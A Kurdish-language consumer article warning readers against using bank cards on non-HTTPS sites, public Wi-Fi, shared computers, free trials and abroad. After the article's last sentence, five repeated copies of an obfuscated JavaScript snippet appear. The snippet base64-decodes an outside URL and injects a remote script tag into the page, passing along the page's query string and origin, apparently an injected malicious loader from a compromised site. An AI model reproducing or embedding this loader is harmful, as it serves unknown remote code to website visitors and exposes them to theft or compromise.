ل ڤان جهان كارتا خوه یا به‌نكی بكار نه‌ئینه
د سهر هندێ را كو به‌نكا سيسته‌مه‌كێ گه‌له‌ك پێشكه‌فتى يێ سێكيورێتى يێ هه‌يى، به‌لێ هێشتا هشيارى باشترين چاره‌سه‌ريه بۆ خوه دووركرن ژ مه‌ترسيان ل دۆر كارتا به‌نكى. ئه‌ڤه هنده‌ك سيناريونه كو هاتيه دياركرن دا كو كارتا به‌نكى يا تايبه‌ت ب خوه ڤه بكارنه‌ئينى.
رۆژ بۆ رۆژێ بكارئينانا كارتا به‌نكى ل هه‌موو جيهانێ يا ب زێده‌بوونێ دچيت. ژ به‌ر هندێ ژى گه‌له‌ك ژ مه ب ره‌نگه‌كێ به‌رده‌وام بكار دئينن، بۆ وێ چه‌ندێ جهێ پارێ كاغه‌زى بگريت. هه‌رچه‌نده رێيا پاره‌دانێ هه‌تا راده‌كى يا پاراستى يه، ب تايبه‌ت ل ڤان سالێن دووماهيێ. به‌لێ د راستى دا هێشتا هنده‌ك مه‌ترسى يێن هه‌ين ل سهر مه پێدڤيه خوه ژێ ب پارێزين دا كو ژ هه‌ر جوره مه‌ترسيه‌كێ بهێينه پاراستن.
– پاره‌دان ل سهر ئه‌نترنێتى..
هوشداريا سه‌ره‌كى ئه‌وه يا كو ل هه‌ر جهه‌كى بى و بۆ ته بهێته گۆتن ئه‌وه كو خوه ژ پاره‌دانا سهر ئه‌نترنێتێ بده‌يه پاش ب تايبه‌ت هه‌كه نه‌يا گۆتى بيت سسهمێ SSL. ئه‌ڤ به‌رنامه داتا و پێزانينێن ته دهێليته پاراستى و هه‌كه ئه‌ڤ باوه‌رنامه نه‌بيت، دبيت پێزانينێن ته يێن دارايى و كه‌سى بكه‌ڤنه مه‌ترسيێ.
دا كو بزانين ئه‌ڤ مالپه‌رێ ئه‌م تشتان ژێ دكرين ئه‌ڤ باوه‌رنامه هه‌يه يان نه، كاره‌كێ گه‌له‌ك ب ساناهى يه. د وان لێگه‌رێن تو ڤه‌دكه‌يى وه‌كو گوگل كرم يان فايه‌رفوكس يان هه‌ر ئێكێ دى بيت، دبێژيته مه كو ئه‌ڤى مالپه‌رى ئه‌و باوه‌رنامه نينه. د سهر ڤێ چه‌ندێ را، دشيان دايه ب رێيا ده‌ستى ژى لێ بگه‌رين ب رێيا بكارئينانا URL ده‌ست پێ دكه‌ت بـ “https”. هه‌كه ب ڤى ره‌نگى نه‌بيت اشره خوه ژێ بده‌يه پاش.
– ئاميرێن گشتى يان په‌يوه‌نديان..
شيره‌تا وێ چه‌ندێ ل هه‌وه ناكه‌م ژى كارتا خوه يا به‌نكى ل ئيك ژ جهان بكاربينى كو تو ل سهر تۆڕا واى فاى يا گشتى بى. ئه‌ڤ جورێن تۆڕان يێن به‌رفه‌رهـ ل جهێن گشتى ب ره‌نگه‌كێ گشتى د پاراستى نينن دا كو تو داتايێن خوه تێدا بنڤيسى.
د راستى دا، ئه‌و ئێك ژ وان رێيايه يێن گرۆپێن تاوانبارێن ئه‌لكترۆنى بكاردئينن بۆ دزينا داتايێن ته. هه‌كه ته ڤيا ب رێيا كارتا خوه پاران بده‌يى و ژبلى ڤێ ئه‌نترنێتێ چ ئه‌نترنێتێن دى ل به‌ر ده‌ست نه‌بوون، باشتره خوه ژ وى تشتى ب پارێزى و نه‌كرى.
د سهر ڤێ چه‌نێ را، ل س‌ر مه پێدڤيه ئه‌م هه‌مان كار بكه‌ين هه‌كه كۆمپيۆته‌ره‌كێ هه‌ڤپشك بكاربينن. ئه‌ڤه هه‌تا راده‌كى يا به‌ربه‌لاڤه، بۆ نمۆنه، ل پرتووكخانێن گشتى. راڤه‌كرن ب ڤى ره‌نگى يه: ئه‌وان كونترۆله‌كا دروست ل سهر وان به‌رنامێن هاتينه دانان د ناڤ كۆمپيۆته‌رى دا نينه. دبيت كه‌سه‌كى به‌رنامه‌ك كربيته د ناڤ كۆمپيۆته‌رى دا، دووڤچوونا هه‌موو وان داتايان بكه‌ت يێن كه‌سانێن دى بكاردئينن.
– پشكداريێن تێست..
پشكداريێن تێست ئێك ژ سيناريويێن دى نه دڤێت خوه ژێ بده‌ينه پاش، ب تايبه‌ت هه‌كه ئه‌م د پشت راست نه‌بين كو دێ پاران ل به‌رامبه‌ر ڤێ خزمه‌تێ ده‌ين هه‌كه ماوێ تێست ب دووماهى بهێت. گه‌له‌ك يا به‌ربه‌لاڤه ژ ئه‌گه‌رێ پشت گوهـ هاڤێتنێ ئه‌م ژبير كه‌ين ڤێ پشكداريا خوه ره‌تكه‌ين و پارێ ته‌مام يێ ئه‌پليكه‌يشنێ بده‌ين و بكار ژى نه‌ئينن. هه‌كه بزانين ئه‌م مفايى ب باشى ژێ وه‌رنه‌گرين باشتره كارتا خوه بۆ ڤان ره‌نگه به‌رنامان بكارنه‌ئينن، ب ڤێ رێ دێ خوه ژ مه‌ترسيه‌كا دژى پارێزين.
ل دووماهيێ، ل سهر مه پێدڤيه د هشيار بين ژى ده‌ما كارتا خوه ژ ده‌رڤه بكاربينين. تايبه‌ت هه‌كه كارت يا هه‌ڤپشك بيت و گوهۆڕينا پاره‌يى هه‌بيت د ناڤبه‌را وه‌لاتێ مه و ه‌و وه‌لاتێ مه سه‌ه‌دان بۆ كرى دا. د ڤان بازاران دا، پارێ زێده‌تر دهێته هه‌لگرتن، گه‌له‌ك ژ وى پاره‌يى يێ دروست. باشتره مه هنده‌ك كارتێن تايبه‌ت هه‌بن ب تنێ بۆ گه‌شتێ كو كارتێن ده‌مى ل گه‌ل به‌نكان ل به‌ر ده‌ستن.
ب كورتى، گه‌له‌ك يێ هشيار به ل سهر بكارئينانا كارتا خوه ل جهێ دياركرى و ب ڤێ چه‌ندێ دێ مه‌ترسيا تووشبوون ب زيانان دێ كێمتر بيت و دبيت تووشى مه‌ترسيا دزينێ ببى. ئه‌ڤه نابيته ئه‌گه‌رێ وێ چه‌ندێ كو تووشى خه‌له‌تيا نه‌بى، به‌لێ دێ پتر د پاراستى بن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
